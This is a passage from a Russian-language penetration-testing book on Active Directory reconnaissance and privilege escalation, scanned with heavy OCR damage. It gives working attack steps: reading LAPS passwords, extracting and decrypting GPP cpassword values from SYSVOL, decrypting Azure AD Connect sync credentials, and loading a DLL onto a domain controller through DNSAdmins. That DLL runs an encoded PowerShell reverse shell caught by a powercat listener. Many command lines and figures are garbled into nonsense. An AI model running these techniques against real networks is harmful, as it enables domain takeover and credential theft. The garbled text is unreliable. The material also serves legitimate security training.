SECURITY
SECURIIY
SECURIIY
Гла ва 1
20
[] Get-DomainGroup -GroupProperty Distribution
-
найти группы распространения;
[] Get - DomainGroup -GroupPrope rty CreatedBySystem
-
найти группы, созданные
СИС-.
темой.
Инqюрмация
из локальн ых гру пп ·Active Directory
Найти локальных администраторов (рис. 1 .8) можно с помощью команды:
> Invoke-EnumerateLocalAdmin 1 f t -autosize
PS C:\lemp> l11vokP-Г1н1mernlPI ocnlf1</miп i
HПHNING:
Г! -<111tosize
7 colLJmпs <lo rюt fit iпto tl1e <lisplay авd 1•1ere removecl.
Comp11t erName
rkcOLJlltN,1me
PRfMПRY. lesllnb.locnl
PRIMRRY. l es l] r!I). ! OCd]
PRIMRRY.lestlab.local
PRIMПRY.testlab.local
HINUOHS2.tcstlab.local
\·J I NOO\·IS2.t es t 1 ,,1). J осн 1
HTNOOWS2.teslldb.locнl
\НtIOO\·IS!. lesllalJ.local
WTNOOWS1. testlab.loca]
WINOOWSl.testlab.local
S-15 21 45 .. .
tesllab.locdl/Rdmi11islгatoг
t es 11п!J.1 ocn l /Г:в tеrрг i se R(Jmi 11s S-1-5-21-45 .. .
Рис. 1 .8.
teslldb.locdl/Oomaiв Rdmi11s
testlab.local/svcaccouвt
W1NOOWS2/Admi11istгatoг
WINDOWS2/localadmin
testlпl). local/Oomai11 R<lmi11s
\ШIOO\·JS l!Atlm i 11 i str· аt ог
WINDOWSl/localadmi11
tcstlab.locdl/Oomai11 Пdmins
SlD
S-1-5·21-45 . . .
S-1-5-21-45 . ..
S-1-5-21-311 .. .
S-1-5-21-34 .. .
s�J -5-21-45 . . .
S-1-5-21-66 ...
S-1-5-21-66 .. .
S-1-5--21-45 .. .
Список локальных администраторов
Получить список всех пользователей поможет модуль PowerShell activedirectory,
достаточно выполнить команду Ge t_ADUser -filter *. Получить список групп, в ко
торых числится определенный пользователь, можно командой Get -NetGroup
UserName [user ] .
Также есть возможность узнать список компьютеров, к которым имеет доступ кон
кретный пользователь или группа. Для этого используйте команды:
> Find-GPOLocation -UserName [user]
> Find-GPOLocation -GroupName [ group]
Но можно вернуть и список объектов, имеющих доступ к определенному компью
теру. Для этого есть команда:
> Find-GPOComputerAdmin -ComputerName_ [ computer] -Recurse
Еще очень важная информация, которую мы можем получить: какие объекты груп
повой политики применяются к конкретной машине. Делается это командой
> Get-Doma inGPO -Computer!dentity [ PC_id] -Properties displayname
Важно, что все эти функции позволяют запрашивать информацию без повышенных
привилегий.
Разведка в Active Directoгy. Получаем пользователь ские данные в сетях Windows
Local Administrator Password Solution
21
,
Local Administrator Password Solution (LAPS, https://www.microsoft.com/en-us/
download/details.aspx?id=46899)
система, предназначенная для управления па
ролями локальных администраторов на компьютерах домена. Она позволяет адми
нистратору домена периодически менять паро,ль учетной записи локальных адми
нистраторов, делегировать права на чтение и сброс пароля для пользователей или
групп Active Directory, а также обеспечивает хранение паролей в расширенном
атрибуте объекта компьютера в Active Directory. Система состоит из трех компо
нентов: агента, модуля PowerShell для настройки системы, Active Directory для хра
нения паролей.
-
Есть два способа обt�аружить LAPS.
1 . На всех хостах, где установлен LAPS, в папке
файл AdrnPwd . dll.
с : \Program Files \LAPS\CSE\
будет
2. Конфигурации LAPS определяются в объектах групповой политики. Командой
Get-Doma inGPO -Identity " * LAPS * " можно поискать любой объект групповой поли
тики, у которого есть слово LAPS в отображаемом имени.
displayname
LAPS
gpcfilesyspath
4F54 -B2BD-FE3BF1A71BAA)
\ \test . local\SysVol\tes t . local\Policies \ { C 3 8 0 1ВAB -5 6D9-
CN= { C3 8 0 1BA8 - 5 6D9-4F5 4 -B2BD
distinguishedname
FE3BF1A7 1BAA) , CN=Policie s , CN=System, DC=testlab, DC=local
Таким образом мы сможем определить, есть ли LAPS на нашей машине. Когда мы
выясним, что LAPS на машине точно есть, смотрим конфиг. Конкретная конфигу
рация для политики LAPS находится в Registry. pol в раздеде gpcfilesyspath. ДлJt
декодирования используйте инструмент GPRegistryPolicy (https://github.com/
PowerShell/GPRegistryPolicy):
Parse-PolFile " \ \test . local\SysVol\test . local\Policies\ { C8 7 0 1 BAB -5 6D9-4 1 2 3-BбB2FE3 FA5 031BAA) \Machine\Registry . pol"
·
Пример вывода команды:
KeyName
Software \Pol icies\Microsoft Services \AdrnPwd
ValueName
PasswordComplexity
ValueT ype
REG DWORD
ValueLength
4
ValueData
4
KeyName
Software\Policies\Microsoft Services \AdrnPwd
ValueName
PasswordLength
ValueType
REG DWORD
ValueLength
4
ValueData
в
Глава 1
22
KeyName
Software\ Policies\Microsoft Services\AdmPwd
ValueName
Pas swordAgeDays
ValueType
REG DWORD
ValueLength
4
ValueData
30
KeyName
Software \Policies\Microsoft Services \AdmPwd
ValueName
AdminAccountName
ValueType
REG SZ
ValueLength
26
ValueData
local f ish
KeyName
Software \ Policies\Microsoft Services\AdmPwd
ValueName
AdmPwc!EnaЬled
ValueType
REG DWORD
ValueLength
4
ValueData
1
Сложность пароля равна четырем (верхний и нижний регистры, а также цифры и
специальные символы), длина пароля - восемь символов, срок действия пароля 30 дней, и политика распространяется на локальную учетную защ1сь localfish.
Теперь найдем все компьютеры, к которым применен этот объект групповой поли
тики. Дriя этого нам нужно знать GUID этого объекта. Сначала определим подраз
деления, а потом в каждом подразделенИ:и найдем рабочие станции.
> Get-DomainOU -GPLink "C3 8 0 1ВA8 - 5 6D9-4F54-B2BD-FEЗB F1A71BAA" -Properties
distinguishedname
dist inguishedname
.QU=Workstations , DC=testlab, DC=local
OU=Servers , DC=testlab, DC=local
> Get-DomainComputer -SearchВase " LDAP : / / OU=Workstations , DC,,; testlab, DC=local"
-Properties di stinguishedname
dist inguishedname
CN=WKSTN02, 0U=Workstations , DC=testlab, DC=local
CN=WKSTN O l , OU=Workstations, DC=testlab, DC=local
CN=WKSTNOЗ, OU=Workstations , DC=testlab, DC=local
CN=WKSTN 0 4 , 0U=Workstations , DC=testlab, DC=local
> Get-DomainComputer -SearchВase " LDAP : / / OU=Servers , DC=testlab , DC=local" -Properties
dist inguishedname
distinguishedname
CN=FSO l , OU=Servers , DC=testlab, DC=local
Разведка в Activв Directory. Получаем пользовательские данные в сетях Windows
23
Мы нашли все компьютеры, на которые распространяется эта конфигурация LAPS.
Компонент LAPS PowerShell дает много возможностей. Наnример, вот такой
кома.Идой мы можем определить, что LAВ\Workstation Aclrnins и LAВ\Server Aclrnins име
ют расширенные права в подразделениях Workstations и Servers:
> Find-AclrnPwdExtendedRights - I dentity "Workstations " 1 fl
ObjectDN
OU=Workstations , DC=testlab, DC=local
ExtendedRightHolders : { NT AUTHORI TY\SYSTEM, LAВ\Domain Aclrnins , LAВ\Workstation
Aclrnins }
> Find-AclrnPwdExtendedRights - I de ntity " Servers" 1 fl
OU=Servers , DC=testlab, DC=local
Obj ectDN
ExtendedRightHolders : { NT AUTHORITY\SYSTEM, LAВ\Domain Aclrnins , LAВ\Server Aclrnins }
Теперь легко получить пароль.
> Get-AclrnPwdPassword -ComputerName wkstn02 1 f l
ComputerName
WKSTN02
Distingui shedName
CN=WKSTN02, 0U=Workstations , DC=testlab, DC=local
Password
! qP) iyT
ExpirationTimestamp
AppLocker
AppLocker - технология, которая позволяет системному администратору блокиро
вать выполнение определенных исполняемых файлов на компьютерах в сети. То
есть можно создать правила, по которым будет выдаваться разрешение на выпол
нение или отказ. Например, можно проверять уникальные идентификаторы файлов
и разрешать запуск только определенным пользователям или группам (рис. 1 .9).
/(1•yN.1m'
ViJlutN.1m1
V.1lt1t> fypt
V,Jlui•!Pn1•tt1
Valщl)Jt J
,
\о! 1w.1rP\Po} J, 1 • �\Мн r o .o
• f1\W111(Jow• \'11 r•VJ\l ic:1•\'JJ1r r4нI fit•l/ Л(,', 1 r,r 1' \}<')ОЫJОа,, ;.i}O
V,1!ш1
IH( '•·
/\�
,
�1 1 I1•f\1thRult• 1d 9llr11\til brll 4!'.;J BI!<-. O',Ob80<itt-J20� Nafll' (OE-f.:НJJt l!uli') AIJ filf"
> lor,1trd 1n tht• Prog11<1
. 1 ll)t", folJ•r
,
mr•mlJl"Г-. of tl11> [•1r1yont 1:1oup t() 1 1т щ>1pl11nt1c111-, thut iHi' ltк..1t1•d н1 1111• Prщ�rd111 I J}t><> fQldP1
U'><l-<")r(iruup'нrJ ) 1 1 О
Ar t 1 ш1 А1 !ow <lr,nri 1 t1 011" <r J ll'P.-itl1t0111J ! 1 1т1 f),J t 11 "%PH{X,R/\Jo\I f 1 1)'Х\�" />,/( 1in'1 11 ion .• >< /1 1 Jf'l-',1t hliL1l1•
Рис. 1 .9.
().r'.(f•iptнm ·дllot'i',
Пример разрешающего правила AppLocker
Обычно конфигурация AppLocker применяется через объект групповой политикИ.
В таком случае легко извлечь конфигурацию из SYSVOL, если у нас есть доступ на
чтение к общему ресурсу. Как просмотреть объекты групповой политики и к каким
машинам они применяются, смотрите в разделе LAPS. Оrличается только путь:
Software\Policies\Microsoft\Windows \SrpV2 \%ext% \xxxxxxxx-xxx-xxx-xxx-xxxxxxxxxxxx
Есть три способа применения запрещающего правила (рис. 1 . 1 О):
и File Hash.
На месте
%ext%
используйте ключи:
Аррх, Ехе, Dll, Msi, Script�
PuЫisher, Path
24
Глава 1
KeyName
ValueNarne
Valuelype
Va}uelength
ValueData
·
Software\Po11c:1es\l'l1crosoft\W1ndows\SrpV2\Exe\09a9fbS2-Scca-4a8d a6f9 2е8fбеа43722
Value
REG SZ
1146 �
'
<FilePubllsberRule Jd""09a9fb52 5сса 4a8d абf9 2e8f6e843721" Nal'lle""PCМERSHEll ЕХЕ, version
10 0 0 0
and аЬоvе,
SYSHM, fr'Olll 0-ФIICROSOП CORPORAПON, L•Rf!ЮIO, Sл\iдSНINGТ<VJ, C•USM Oesc.ription•""" UserOrGroupSid•"S-1
1 0"
!n
mCROSOF1° WIND<МS• ОРЕМПНG
Action=-нlkny" ><(ondltions ><FilePublisherConditiш1 PuЬlis�r-N.зmea""0"'1'UCROSOFT CORPORATION, l"REDi'.ЮtIO, 5-wдSHINGTON , C-US"' PN>ducHlame• "MICROSO!=T•
WIN!XМ')" ОРЕRдТitК; SYSПM
Binary!Ja111e". "J>OiJfRSНELL EXE"><81naryVersionRange
lowSection""10.0 0 0»
H.ighSertioл•">I'"/></Fl lePuЫ isherCond 1t100></Cond1tloлs></F 'llePuЫi sh�чRule>
Рис. 1.10. Пример запрещающего правила AppLocker
Azure Active Directory
Azure Active Directory (Azure AD, https://azure.microsoft.com/ru-ru/services/active
directory/) - облачная служба управления удостоверениями и доступом. Она нуж
на для создания учетных записей пользователей и управления ими и применяется
в облачных сервисах Microsoft, таких как Azure, Office 365, SharePoint. Если в AD
для аутентификации пользователей служит Kerberos, то здесь в той же роли ис
пользуется OAuth 2.0.
Синхронизация AD и Azure AD происходит по трем сценариям.
1 . Сценарий синхронизqции каталога. Он позволяет синхронизировать с облаком
новые учетные записи пользователей и групп, при этом логин у пользователя
синхронизируется с AD, а пароль придется сменить, т. к. он не синхронизиру
ется.
2.
Сценарий синхронизации паролей дает возможность пользователям логиниться
в облачный сервис с паролем от локальной учетной записи AD. При этом син
хронизируется логин и хеш пароля.
3.
Сценарий единого входа обеспечивает проверку подлинности пользователей
в локальном каталоге AD и позволяет реализовать сценарий единого входа с ис
пользованием корпоративных учетных данных - за счет синхронизации токе
нов доступа.
Про атаку на сценарий единого входа много рассказывать не станем, т. к. для ее
реализации нужны права администратора. Поскольку пароль в данном случае пере
дается между Azure AD Connect и Azure ServiceBus в открьtтом виде, есть возмож
ность его перехватить. FileAzureadHookDLL (https: //gist.github.com/xpn/79a7f9
66b9dffd0ccf3505787f8060d7) позволяет внедрить DLL и получить пароль пользо
ват�ля во время соединения. В качестве параметра данное приложение принимает
PID процесса AzureADConnectAuthenticationAgentService [ * ] .
С ценари й синхронизации пароле й
Для нас особенно интересен сценарий синхронизации Паролей (PHS, рис. 1 . 1 1 ) . Для
синхронизации данных в AD есть приложение Azure AD Connect, которое извлека
ет данные из AD и передает их в AAD. За синхронизацию отвечает служба DCSync.
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows
[§1
...Azure
AD соппесt
�--
"
Oп-premises
Active Directory
D
Приложе
Приложения ния SAAS
"
"
'
�
о
Е3
i
Пользователь
25
Устройства
Рис. 1 . 1 1 .
Схема синхронизации AzureAD Connect
При создании соединения на хосте заводится новая база данных, при этом исполь
зуется LocalDB для SQL Server. Мы можем просмотреть информацию о работаю
щем экземпляре с помощью инструмента SqlLocalDb . ехе (рис. 1. 1 2).
C : \Program F i l es \M i c rosoft SQL S e r v e r \ 1 10\Tool s \ B i n n > Sq l l o c a lDB . exe
Name :
ADSync
Shared name :
ADSync
Owne r :
NT S E RV I C E \ADSync
I n s t a n c e pipe name :
np : \ \ . \ p i p e \ LOCALDB#SH0C43C9\ t sql\query
. \ADSync
C : \Program F i le s \Mic rosoft SQL S e r v e r\ 1 1 0\Too l s \ B i n n >.
Рис. 1 .1 2.
Пример работы SqlLocalDb.exe
База данных поддерживает Azure AD Sync - в ней хранятся метаданные и конфи
службы.
Зашифрованный пароль находится
в таблице
гурации для
agent
в
поле
encrypted_configuration,
и
для
его
расшифровки
ADSync . dЬo . ппns_management_
ИСПОЛЬЗуется библиотека С : \Program Files \Microsoft Azure AD Sync\Binn \mcrypt . dll.
Расшифровывать можно при помощи AzureadDecryptorMsol.ps l
(https://
gist.github.com/xpn/Odc393e944d8733e3c63023968583545, рис. 1 .13).
·
Рис. 1 .1 3.
Пример работы скрипта AzureadDecryptorМsol.ps1
Глава 1
26
Как вИдите из конфигурации безопасности, если получится скомпрометировать
сервер с Azure AD Connect и получить доступ либо к ADSyncAdmins, либо к ло
кальным группам администраторов, то открывается возможность заполучить учет
ку, которая может выполнять DCSync (рис. 1 . 1 4).
8
18
EJ
Security
lli
LDgins
Ас
Ас
HMS_PolicyEventProcessingLogin##
##МS_PoficyТsqlExecutionLogin##
BUIL TIN\Admin1strators
1 LAВ\Administrator
1 NТ SERVICE.\ADSync
1 NТ SERVICE.\SQLWriter
Ас sa
:[8 WINDOWS-VМWARE.\ADSyncAdmins
+
Server Roles
Рис. 1 . 1 4.
Конфигурации беЭоnасности
С ценари й синхронизации каталога
В этом сценарии к одной и той же учетной записи в AD и AAD применяютс� раз
ные пароли, что делает неаК'l)'альной атаку на сессию синхронизации. Но так как
остальные учетные данные в случае синхронизации будут совпадать, мы можем
провести разведку для AAD, и ее результаты в большинстве будут аК'l)'альны
.
для АD. '
Для удобства будем использовать Azure CLI, это инструмент для Linux, который
используют в сетях Windows. Начинаем с команды az login
она сгенерирует ло. кальные токены OAuth, откроет окно браузера на странице авторизации, и вы смо
жете войти под уже имеющимся пользователем. Следующая команда позволяет
получить список пользователей, параметр output определяет формат представления
данных, а query
какие данные выводить.
-
-
az ad user list --output=j son --query= ' [ ) . { UPN : userPrincipalNarne , Narne : displayNarne,
Email : mai l , Useri d : mai lNicknarne , EnaЬled: accountEnaЬled) '
,
Вот некоторые другие- возможности. Список групп:
az ad group list --output=json -query= ' [ ] . { Group : displayName , Description : description ) '
Список пользователей в определенной группе:
az ad group memЬer list --output=j son --query= ' [ ] . { UPN : userPrincipalNarne ,
Narne : displayNarne , Userid : mailNicknarne, EnaЬled : accountEnaЬled ) ' - -group= ' <group narne> '
Список приложений:
az ad арр list --output=j son --query= ' [ ] . { Narne : displayName , URL : homepage ) '
Разведка в Active Directory. Получаем пользователь ские данные в сетях Windows
27
Все службы:
a z a d s p l i s t --output=j son --query= ' [ ] . { Narne : displayNarne , EnaЬled : accountEnaЬled,
URL : homepage } '
Информация о конкретной службе:
az ad sp list --output=j son --display-narne= ' <display narne> '
Теперь вы знаете все лазейки и методы, с помощью которых можно получить ин
формацию для проведения атак на пользователей, повышения привилегий, боково
го продвижения и захвата ceтit: в целом.
ГЛАВА 2
Актуальные методы
...,
повы шения привилегии
Чтобы скомпрометировать контроллер домена, мало найти известную уязвимость,
получить учетные данные пользователя или обнаружить ошибку в настройке поли
тики безопасности. Это обеспечит вам минимальный доступ, но его может не хва
тить для достижения всех намеченных целей. Поэтому залог успешной атаки получение повышенных системных привилегий в Active Directory. О методах ре
шения этой увлекательной задачи мы и поговорим.
Пароли из SYSVOL и GPP
На каждом компьютере с Windows, который работает в сети с Active Directory, име
ется встроенная учетная запись администратора, защищенная паролем. Одно из
стандартных требований безопасности - регулярно менять этот пароль. Казалось
бы, задача несложная. Но только не когда в сети насчитывается под сотню машин.
Чтобы облегчить себе жизнь, ленивые системные администраторы иногда исполь
зуют групповые политики для установки пароля локального администратора на
большом количестве рабочих станций. Это довольно удобно, да и заменить такой
пароль, когда придет срок, можно за пару минут. Одна незадача: на всех компьюте
рах пароль локального админа будет одинаковый.
Из этого следует вывод: получение учетных данных администратора на одной из
машин сделает злоумышленника админом сразу на всех. Рассмотрим два способа
достижения такого результата.
Учетные данные в SYSVOL
SYSVOL - это общедоменный ресурс Active Directory, к которому у всех автори
зованных пользователей есть Доступ на чтение. SYSVOL содержит сценарии входа,
данные групповой политики и другие данные, которые должны быть доступны вез
де, где распространяется политика домена. При эт<?м SYSVOL автоматически син-
Глава 2
30
хронизируется и используется всеми контроллерами домена. Все групповые поли
тики домена хранятся по адресу
'
\ \<Дoмeн>\SYSVOL\<Дoмeн>\Policies\
Чтобы упростить управление локальной учетной записью администратора на уда
ленных компьютерах с Windows, для каждой из них можно использовать собствен
ный сценарий смены пароля. Проблема в том, что часто пароль хранится в виде
открытого текста в скрипте (например, в файле VBS), который, в свою очередь,
находится в SYSVOL. Вот пример одного из результатов поиска сценария VBS,
меняющего пароль локального администратора на сетевых машинах (рис. 2. 1 )
.
Viюet Bas!(;
:
Set oЗhell
"'
CroataOЬj ect ( "W:Зcript . Зhell " )
Const ЗОСС!!:ЗЗ
"'
О
euaer = "•dminiatretor•
al'wd = • eaaaworct2*
•
•
gет; thi> loaal coJl\Pµtarn.,.."
with
WЗcript .Network.,
or aet ecomputerNam" to а remote computer
Sot oW:ahNet ' = CreateOЬject ( "W:Зcript . Network")
aComputerName
Set oU•er
•
•
oWaЬNet . COl!lpUt"dlame
= GetOЬ:ject(•WinNTs//•
•/•
Set the paasword
oOeer .ЗetPaeeword
oUser.Зetin.fQ
1
' aComputerName '
/
a�d
oShell . Loq!!vent SUCCES З
& sUaer)
,
"Local Adminiatrator paaaword was ehanged ! "
Рис. 2.1 . Пример VВS-скрипта с официального сайта MSDN
Этот сценарий доступен в галерее Microsoft TechNet, из-за чего нередко использу
ется системными администраторами, которые предпочитают готовые решения. Из
влечь из него пароль не составляет никакого труда. А поскольку скриm хранится
в SYSVOL, к которому у каждого пользователя домена есть доступ для чтения,
наличие пароля автоматически превращает его обладателя в локальн0го админист
ратора на всех сетевых машинах с Windows на борrу.
Настройки групповой политики
В 2006 году инструмент PolicyMaker от Microsoft Bought Desktop Standard бьm пе
реименован и выпущен вместе с Windows Server 2008 как Group Policy Preferences
(GPP, «предпочтения групповой политики))). Одна из наиболее полезных функций
GPP - возможность создавать локальных пользователей, настраивать и изменять
их учетные записи, а также сохранять учетные данные в нескольких файлах сце
нариев:
l::J карта дисков (Drives . xrnl);
l::J источники данных ( DataSources . юnl);
А ктуальные методы повышения привилегий
31
l:J конфигурация принтера ( Printers . xml) ;
l:J создание/обновление сервисов ( services . юnl) ;
l:J запланированные задачи (scheduledTasks . xml) .
Инструмент, безусловно, полезный: с его помощью можно автоматизировать мно
гие рутинные действия. Например, GPP позволяет использовать групповую поли
тику для выполнения запланированных задач с заданными учетными данными, а
также при необходимости менять пароли локального администратора на большом
количестве компьютеров.
Теперь давайте посмотрим; как эта ш�а работает. При создании нового предпоч
тения групповой политики в SYSVOL генерируется связанный ХМL-файл с соот
ветствующими данными конфигурации. Если в ней указан пароль пользователя, он
будет зашифрован AES 256 бит. Но в 2012 году Microsoft опубликовала в MSDN
ключ AES, который можно использовать для расшифровки пароля (рис. 2.2).
•
2.2.1.1 Prefe1·ences Policy File
Format
2.2.1.1.1 Common XML Schema
2.2.1.1.2 Outer and lnner
Element Names and CLS!Ds
2.2. 1 . 1 .4 Pa sswo rd E ncryption
2.2.1.1.3 Comnюn XML
Attributes
All passwords are encrypted using а derived Advanced Enayption Standard (AES) kеу.<З>
2.2.1.1.4 Pиsword
Тhе 32-byte AES key is as follows:
Enc:ryption
2.2.1.1.5 Expanding
Enviroпment VatiaЫes
4е
99 Об е8
f4 96 е8 Об
Рис. 2.2.
fc Ьб бс с9
се 05 79 90
fa f 4 93 10
20 9Ь 09 а4
62 Of fe ее
33 Ьб бс' lb
Ключ шифрования, представленный MSDN
Иными словами, любой авторизованный в домене юзер может найти в общем
ресурсе SYSVOL файлы ХМL, содержащие cpassword, т. е. зашифрованный пароль
AES.
1
» 1111
,i .:. t : 1 •.•!-1 -�-Jl l , •')ll
,;.:.. 1·1.: ·�·, ol 1 t p·1-::- 'l t_j t f -
-1 - " --Ц f-С , •'.[ •_"![ ·>" ' " " 1_ 1 _ . - 1
1. l ·.i = " ·: c.•F"-Г l
..J•l , ..J :�.-t-- l t [ ·· .{-;[ ·F:""c:F, � l [· l } " 1 1 ·1111" -� " 1 ·1 ·"· 1 " :1 1 :1 ·i1c11 1 1 " 1 111. 1•1·· сс " ""' · ! 1 . 11·1· 1-•·•I
·. .:."· :- " '.1 '- "- 1
- Jl: -._ - l·'f [-<. • ·· -11 ·.•-1 EE'·.• l [
= " -':' 1 ··· - •.:•- - l� . .� : •:• J : _ ,
I J J · k " { • y:.F[,.j �·-·:" "
1
r·1 t· " .•• 1_- := '1 •"1 11 ,• .:. 1 1 1··· ,' ..- !=-'· ' 1 l ' • :: в ' ' 11 , • . Г- ' 1· ;;,- .•;..; ! t 1 ••
• j , - t '[ ,·, 1 ·1 :::: 11
1н
1 ! •" " r J. 111 1.:.. �:- 11 tf
t r 1 '1 1 1 J. 1 1 1 1•· ::::: 11 1' 1'!
- . ' 1 1 1- t. 1 • л = " "
r:· .o -., <, ,, • • r .J�" l 1_1 ' " j 1!1l :·�1- f \•·, l f' J 1 ·:1f 1 . \ .[[: J •: t • •Г •. · 1· ·I · ,. •l l- " [-.-1 :. " ' '-•1·"·1 " · 1 1.'<1 1
.1 ·-� ·: _L1 1 ·:, .�jt_ - ·: 1 .:.:: L •_+'' _..IJ!. 1 _...:. 1.1'·j 1 ·:1 r 1 t_ ) =1' "
.:1..:: L•:нJ.-_·1·1 = " ·�1 1' 1·1·_ 1·1 ;! 1 ' 1 "� :::' 1 •' п .:...:.. ". ,_,· 1 1:::: J f · l r ·--· '
•.1 : - 1 I J '11i1"-=" 1·1"'" "· 1_. ..- ,� 1. о, .:1 1111 1·1 '; •·
, ' ':>r ("·l l • :
1_ . · 1 ,:J = " { ': l ..:':p_., , c . Ef': l •', - -1\ .4.- . ,.. .
:=::"'.': •:. J E''-.
'_,г ,_. 1.1 1: ·:-
1_;1 -" I
"
Рис. 2.3.
Пример содержимого файла Groups.xml
Быстро найти эти значения можно следующей командой:
С : \> findstr /S /I cpassword \\<FQDN> \sysvol\<FQDN>\policy\ * . xrnl
Для расшифровки пароля можно воспользоваться инструментом Cryptool (https://
при этом нужно в ручном режиме декодировать Base64
www.cryptool.org/en/),
Глава 2
32
и указать ключ с MSDN (подробная инструкция по расшифровке приведена
в статье на Хабре: https://habr.com/ru/post/481532/). Существует и полностью
автоматизированное средство под названием gpp-decrypt(https ://tools kali org/
password-attacks/gpp-decrypt), которое требует только значение cpassword и уже
предустановлено в Kali Linux. Аналогичная утилита для Windows называется
Get-GPPP�ssword
(https://github.com/PowerShellМafia/PowerSploit/bloЬ/master/
Exfiltration/Get-GPPPassword.psl), ее можно отыскать в наборе программ
PowerSploit.
.
.
Ну а для очень ленивых есть модуль smЬ_enum_gpp из набора Metasploit. Эrот инст
румент попросит указать только учетные данные µользователей и адрес контролле
1
ра домена.
Так мы можем получить пароль локального администратора, и в большинстве слу
чаев он будет работать на всех компьютерах домена.
DNSAdmins
Microsoft не только реализовала собственный DNS-cepвep, но и внедрила для него
протокол управления, позволяющий интегрировать DNS-cepвep с доменами Active
Directory. По умолчанию контроллеры домена также являются DNS-серверами, по
этому DNS-cepвepы должны быть доступны каждому пользователю домена. Эrо,
в свою очередь, открывает потенциальную возможность для атаки на контроллеры
домена: с одной стороны, мы имеем сам протокол DNS, а с другой - протокол
управления, основанный на RPC.
Пользователь, входящий в группу DNSAdmins или имеющий права на запись
в объекты DNS-cepвepa, может загрузить на DNS-cepвep произвольную DLL с при
вилегиями System. Эrо очень опасно, поскольку многие корпоративные с,ети ис
пользуют контроллер домена в качестве DNS-cepвepa.
Таким образом, для реализации атаки мы можем просто загрузить на DNS-cepвep
произвольную библиотеку с помощью dnscmd (путь \ \ops-bui ld\dll должен быть
доступен для чтения DC):
PS С : \> dnscrnd ops _dc/config/serverlevelplugindll \\ops-build\dll \mi.inilib . dll
Чтобы проверить, была ли загружена DLL, можно использовать следующую
команду:
PS С : \> Get-ItemProperty HKLМ : \SYSTEM\CurrentControlSet\Services\DNS\Parameters\
-Name ServerLevel PluginD l l
Так как наш пользователь - член группы DNSAdmins, мы можем перезапустить
службу DNS:
С : \> sc \\ops-d c stop dns
С : \> sc \\ops-dc start dns
После перезапуска DNS-cepвepa будет выполнен код из загруженной библиотеки.
Такая библиотека, например, может содержать скрипт PowerShell (рис. 2.4) для
обратного подключения (https://github.com/samratashok/nishang).
Актуальные методы повышения привилегий
33
•
(GloЬ.l S<o�)
#p,.';g;Da warning{disaЫe : 4996)
if(kdns_logfile • _wfopen(L"ldwidns . log", L"a"))
ilpragma warning(pop)
{
J
G! kdns_DnsPlugi�PSТR pszQuщ№mr. WORD wQu•ryTypr. PSTR pszRecor
klog{kdns_logfile, L"%5 (%1щ)\n", pszQueryName, wQueryType) ;
fclose{kdns_logfile);
sv stem('"C : \\Windows\ \SystemЗ2\\WindowsPowerShell\ \111.0\ \powershell . ехе
-е
SQВuAНYAЬwBrAGUALQВFAНgAcAВ
return ERROR_SUCCESS;
Рис. 2.4. Пример PowerShell-кoдa в DLL
После успешного выполнения скрипта мы будем прослушивать на своем хосте об
ратное подключение (рис. 2.5):
P S С : \> powercat -1
-v
-р 443 -t 1000
В результате мы получим права
system на DC.
Рис. 2.5. Пример успешного бэкконнекта
Делегирование Kerberos
Делегирование - это функция Active Directory, позволяющая учетной записи поль
зователя или компьютера вьщавать себя за друrую учетную запись. В качестве
примера разберем ситуацию, когда пользователь обраи.tается к веб-приложению,
чтобы работать с ресурсами на сервере базы данных.
Исходя из схемы, показанной на рис. 2.6, веб-сервер должен работать с сервером
базы данных от имени пользователя. Здесь и помогает делегирование - к учетным
записям пользователей в среде Windows применяется флаг TRUSTED_то_AUTHENTICATE
_
FOR DELEGATION (T2A4D) User-Account-Control.
Атрибут User-Account-Control (который не следует путать с механизмом контроля
учетных записей Windows) устанавливает определенные атрибуты для учетных запи
сей Active Directory - например, если учетная запись отключена, заблокирована или
пароль пользователя никогда не истекает.
Для реализации делегирования Microsoft внедрила расширение протокола Kerberos
«Служба для доступа пользователя к себе» (S4U2Self). Это расширение позволяет
службе запрашивать токен для другого пользователя, предоставляя имя пользова
теля, но не вводя пароль. Когда учетная запись пользователя имеет флаг T24AD,
Глава 2
34
Компьютер пользователя
Сервер баз данных
Рис. 2.6. Схема взаимодействия с баэой даннь1х череэ веб-сервер
такие токены могут быть запрошены с атрибутом forwardaЫe, который дает службе
возможность аутентифицироваться с этими токенами для других служб.
Чтобы избежать неограниченного делегирования, Microsoft гарантировала, что
данные токены могут использоваться только для определенных служб, которые на
строены для учетной записи пользователя через расширение «Служба для пользо
вателя через прокси» (S4U2proxy). Этот параметр контролируется атрибутом msDS
AllowedToDelegateтo в учетной записи пользователя. Ьн содержит список имен уча
стников службы, который указывает, на какие службы Kerberos пользователь мо
жет перенаправлять эти токены (так же, как выполняется обычное ограниченное
делегирование в Kerberos). Например, вы хотите, чтобы ваша веб-служба имела
доступ к общей папке для пользователей. Тогда учетная запись службы должна
иметь атрибут:
ms-DS-AllowedToDelegateTo "S IFS/fs . dom. com"
Для наглядности рассмотрим схему аутентификации Kerberos (рис. 2.7).
1 . Пользователь аутентифицируется в веб-сервисе с использованием не КеrЬеrоs
совместимого механизма аутентификации.
2. Веб-служба запрашивает билет для учетной записи user без указания пароля, как
для учетной записи svc_web.
svc_web userAccountControl для флага TRUSTED_то_
а также не заблокирован ли целевой пользователь для
делегирования. Если все в порядке, КDС возвращает перенаправляемый билет
дЛя учетной записи пользователя (S4U2Self).
З . КDС проверяет значение
AUTHENTICATE_FOR_DELEGATION,
4. Затем служба передает этот билет обратно в КDС и запрашивает билет для
службы cifs/ fs . contoso . сот.
5 . КDС проверяет поле msDS-AllowedToDelega teTo в учетной записи svc_web. Если
служба указана в списке, она вернет билет службы для общей папки
(S4U2proxy).
Актуальные методы повышения привилегий
35
2
з
4
5
ос
SVC_WEВ
б
user@dom.com
Рис. 2.7.
Схема аутентификации KerЬeros
6. Веб-служба теперь может проходить проверку подлинности на общем ресурсе
в качестве учетной записи пользователя с применением предоставленного би
лета.
Н еограниченное дел егиро�ание
При неограниченном делегировании Kerberos на сервере, на котором размещена
служба, контроллер домена DC помещает копию TGT (ticket granting ticket - билет
для получения билета) пользователя в TGS (Тicket Granting Server - сервер выдачи
билетов или разрешений) службы. Когда данные пользователя предоставляются
серверу для доступа к службе, сервер открывает TGS и помещает TGT пользовате
ля в LSASS (Local Security Authority Subsystem Service - сервис проверки подлин
ности локальной системы безопасности) для дальнейшего использования. Сервер
приложений теперь может выдавать себя за этого пользователя без ограничений!
Таким образом, хост, на котором активно неограниченное делегирование, будет
содержать в памяти TGT делегированного пользователя. Наша задача - его дос
тать, чтобы скомпрометировать пользователя. Данный вид атаки возможен, если
